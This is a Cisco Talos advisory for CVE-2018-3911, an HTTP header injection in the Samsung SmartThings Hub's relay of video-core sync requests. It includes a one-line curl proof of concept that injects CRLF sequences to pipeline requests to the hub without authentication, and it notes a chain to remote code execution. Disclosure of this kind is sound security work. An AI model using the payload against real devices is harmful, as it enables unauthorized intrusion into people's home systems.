CVE-2018-3911: TALOS-2018-0578 || Cisco Talos Intelligence Group

Summary

An exploitable HTTP header injection vulnerability exists in the remote servers of Samsung SmartThings Hub. The hubCore process listens on port 39500 and relays any unauthenticated message to SmartThings’ remote servers, which insecurely handle JSON messages, leading to partially controlled requests generated toward the internal video-core process. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

CWE

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’)

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

While analyzing the video-core process, we identified the following traffic on port 39500, generated by video-core when requesting the “/sync” path [1]:

[1] sync request
$ curl "http://127.0.0.1:3000/sync"

[2] video-core -> 127.0.0.1:39500 (hubCore)
POST /videocore HTTP/1.1
Host: 127.0.0.1:39500
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Content-Length: 82

{"videoRequestType":"sync","cameraIds" : ["<camera-id1>", "<camera-id2>"]}

[3] hubCore -> SmartThings server (dc.connect.smartthings.com:443)
< sends a message embedding the HTTP request above >

[4] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP response >
HTTP/1.1 202 ACCEPTED
Connection: close

[5] 127.0.0.1:39500 (hubCore) -> video-core
< forwards the HTTP response above >

The hubCore process listens on port 39500, bound to “0.0.0.0”, and simply forwards the HTTP request [2] to the remote Samsung SmartThings servers [3], which answer with [4]. The answer is finally forwarded back to the client [5]. Note that being hubCore bound to “0.0.0.0”, request [1] could be omitted and request [2] could be initiated by anyone in the network, without any prior authentication.

In essence, the “sync” request [1] is used to make sure that the remote servers and video-core’s internal database are synchronized. All camera IDs known by video-core are included in the JSON string, and if video-core contains a “camera-id” which doesn’t exist in the remote servers, it will be deleted. Continuing on the example, if “camera-id2” is not found by the remote servers, the following traffic can be seen:

[6] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP request >
DELETE /cameras/<camera-id2> HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000

[7] hubCore -> 127.0.0.1:3000 (video-core)
< forwards the HTTP request above >

[8] 127.0.0.1:3000 (video-core) -> hubCore
HTTP/1.1 204 No Content
Server: Video-Core
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 0

Request [6] is sent by the remote Samsung SmartThings servers over the persistent TLS connection, and is thus received by the hubCore process, which blindly forwards it to video-core’s HTTP server on port 3000 [7]. Request [8] is simply the answer of video-core to the “DELETE” request.

To summarize, the flow of events when a deletion is going to take place is:

    |______Sender______|___________________Hub___________________|___SmartThings Servers___
    |                  |                                         |
[2] |  sync request ---|--> hubCore:39500                        |
    |  with JSON M1    |                                         |
[3] |                  |                         hubCore sends --|--> process JSON M1
    |                  |                         JSON M1         |
    |                  |                                         |
[4] |                  |                         hubCore      <--|--- send HTTP response
    |                  |                                         |    M2 (ACCEPTED)
[5] |    terminate  <--|--- hubCore:39500                        |
    |    connection    |    forwards M2                          |
    |                  |                                         |
[6] |                  |                         hubCore      <--|--- generate and send
    |                  |                                         |    HTTP request M3
    |                  |                    |                    |
[7] |                  | video-core:3000 <--|--- hubCore sends   |
    |                  |                    |    HTTP request M3 |
    |                  |                    |                    |
[8] |                  | video-core:3000 ---|--> hubCore         |
    |                  |                    |                    |

Where “Sender” can either be the hub itself (that is video-core, as shown in request [2]) or anyone in the network.

As we can see, a portion of request [2] is included in request [6]: the <camera-id2>. In fact, it is first present in message M1, and is then propagated till video-core where it is sent inside M3.

Moreover, we noticed that the remote server is subject to a header injection vulnerability when building the HTTP request M3 from the JSON M1. Specifically, the JSON string M1 allows for any character to be included, so it is possible to send CRLF sequences (or their escaped counterpart, for example “\r\n” or “\u000d\u000a”) in the “camera-id2” element. These characters are not stripped when creating the request M3, hence it gives the opportunity to arbitrarily modify the HTTP request sent to video-core, except for the “DELETE /cameras/” prefix, which will always be present.

Nevertheless, by using CRLF sequences, this bug allows for injecting pipelined HTTP requests, which can be exploited using TALOS-2018-0577. Moreover, as described in TALOS-2018-0577, it is possible to further use TALOS-2018-0573 to achieve an arbitrary code execution from the network, without authentication.

Exploit Proof of Concept

The following proof of concept shows how to send a pipelined HTTP request to the video-core process, which can be further exploited using TALOS-2018-0577.

$ curl -vv -i -X POST "http://${hubIP}:39500/videocore" -d '{"videoRequestType":"sync","cameraIds" : ["1234 HTTP/1.1\u000d\u000a\u000d\u000aGET /\u000d\u000a\u000d\u000a"]}'

The request received by video-core is:

DELETE /cameras/1234 HTTP/1.1

GET /

 HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000

Timeline

2018-04-19 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.